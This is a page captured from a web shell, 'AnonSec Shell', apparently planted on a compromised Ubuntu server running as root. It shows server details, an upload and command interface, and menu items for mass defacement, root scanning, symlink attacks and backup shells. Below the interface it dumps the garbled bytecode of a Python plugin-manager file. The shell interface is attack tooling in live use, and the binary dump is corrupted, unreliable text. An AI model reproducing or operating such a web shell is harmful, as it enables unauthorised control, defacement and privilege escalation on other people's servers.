AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/janitor/plugincore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/janitor/plugincore/__pycache__/manager.cpython-310.pyc
o

z��cU�@s�ddlmZmZmZeZdgZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZdZeeur5eneZGdd�d�ZdS)�)�absolute_import�print_function�unicode_literals�
PluginManagerN)�Plugin� c@sFeZdZdZdd�Zdd�Zedd��Zdd	�Zd
d�Z	dd
d�Z
dS)rz�Find and load plugins.

    Plugins are stored in files named '*_plugin.py' in the list of directories
    given to the constructor.
    cCs6||_t|t�rtd�t|����t|�|_d|_dS)NzExpected sequence, got {})	�_app�
isinstance�	STR_TYPES�	TypeError�format�type�list�_plugin_dirs�_plugins)�self�app�plugin_dirs�r�</usr/lib/python3/dist-packages/janitor/plugincore/manager.py�__init__.s
�

zPluginManager.__init__ccs��|jD]K}zdd�t�|�D�}Wn!ty3}z|jtjkr!�t�d�|��WYd}~qd}~wwt�d�|t	�
|���t|�D]
}tj�
||�VqDqdS)z4Return all filenames in which plugins may be stored.cSsg|]	}|�d�r|�qS)z
_plugin.py)�endswith)�.0�filenamerrr�
<listcomp>=s
�z2PluginManager.get_plugin_files.<locals>.<listcomp>zNo such plugin directory: {}NzPlugin modules in {}: {})
r�os�listdir�OSError�errno�ENOENT�logging�debugr�SPACE�join�sorted�path)r�dirname�	basenames�errorrrrr�get_plugin_files8s(�
��
����zPluginManager.get_plugin_filesccs�|��D]}|VqdS�N)r))rrrrr�plugin_filesKs��zPluginManager.plugin_filesc	csX�dd�}dd�t�||�D�}t�d�|t�dd�|D����|D]}|�Vq#dS)	z-Find and instantiate all plugins in a module.cSst�|�o
t|t�o
|tuSr*)�inspect�isclass�
issubclassr)�targetrrr�	is_pluginRs

��z.PluginManager._find_plugins.<locals>.is_plugincSsg|]\}}|�qSrr)r�name�memberrrrrWs��z/PluginManager._find_plugins.<locals>.<listcomp>zPlugins in {}: {}css�|]}t|�VqdSr*)�str�r�pluginrrr�	<genexpr>\s�z.PluginManager._find_plugins.<locals>.<genexpr>N)r,�
getmembersr r!rr"r#)r�moduler0�plugin_classes�plugin_classrrr�
_find_pluginsPs�
��
�zPluginManager._find_pluginscCs�t�d�|��tj�tj�|��\}}|tjvrtj|St	|d��;}zt
�|||ddt
jf�}Wn"t
yT}zt�d�||��WYd}~Wd�dSd}~ww|Wd�S1sawYdS)zLoad a module from a filename.zLoading module from file {}�rz.pyzFailed to load plugin '{}' ({})N)r r!rrr%�splitext�basename�sys�modules�open�imp�load_module�	PY_SOURCE�	Exception�warning)rr�module_name�ignore�fpr8r(rrr�_load_module`s(


��
��$�zPluginManager._load_moduleNc
s��durg�|jdurCg|_t|j�}t|�}t|�D]'\}}|dur)||||�|�|�}|�|�D]}|�|j�|j�	|�q3q�fdd�|jD�}	t
�d��|	��|	S)a�Return all plugins that have been found.

        Loaded plugins are cached, so they will only be loaded once.

        `condition` is matched against each plugin to determine whether it
        will be returned or not.  A `condition` of the string '*' matches all
        plugins.  The default condition matches all default plugins, since by
        default, plugins have a condition of the empty list.

        If `condition` matches the plugin's condition exactly, the plugin is
        returned.  The plugin's condition can also be a sequence, and if
        `condition` is in that sequence, the plugin is returned.

        Note that even though loaded plugins are cached, calling
        `get_plugin()` with different a `condition` can return a different set
        of plugins.

        If `callback` is specified, it is called after each plugin has
        been found, with the following arguments: filename, index of
        filename in list of files to be examined (starting with 0), and
        total number of files to be examined. The purpose of this is to
        allow the callback to inform the user in case things take a long
        time.
        Ncs,g|]}|j�ks�|jvs�dkr|�qS)�*��	conditionr4rLrrr�s����z-PluginManager.get_plugins.<locals>.<listcomp>z#plugins for condition '{}' are '{}')
rrr+�len�	enumeraterJr;�set_applicationr�appendr r!r)
rrM�callback�	filenames�total�irr8r5�pluginsrrLr�get_plugins�s*


�
��zPluginManager.get_plugins)NN)�__name__�
__module__�__qualname__�__doc__rr)�propertyr+r;rJrWrrrrr's

$)�
__future__rrrr
�
__metaclass__�__all__rrBr?rr,r �janitor.plugincore.pluginrr"r3�bytesr
rrrrr�<module>s�

Anon7 - 2022
AnonSec Team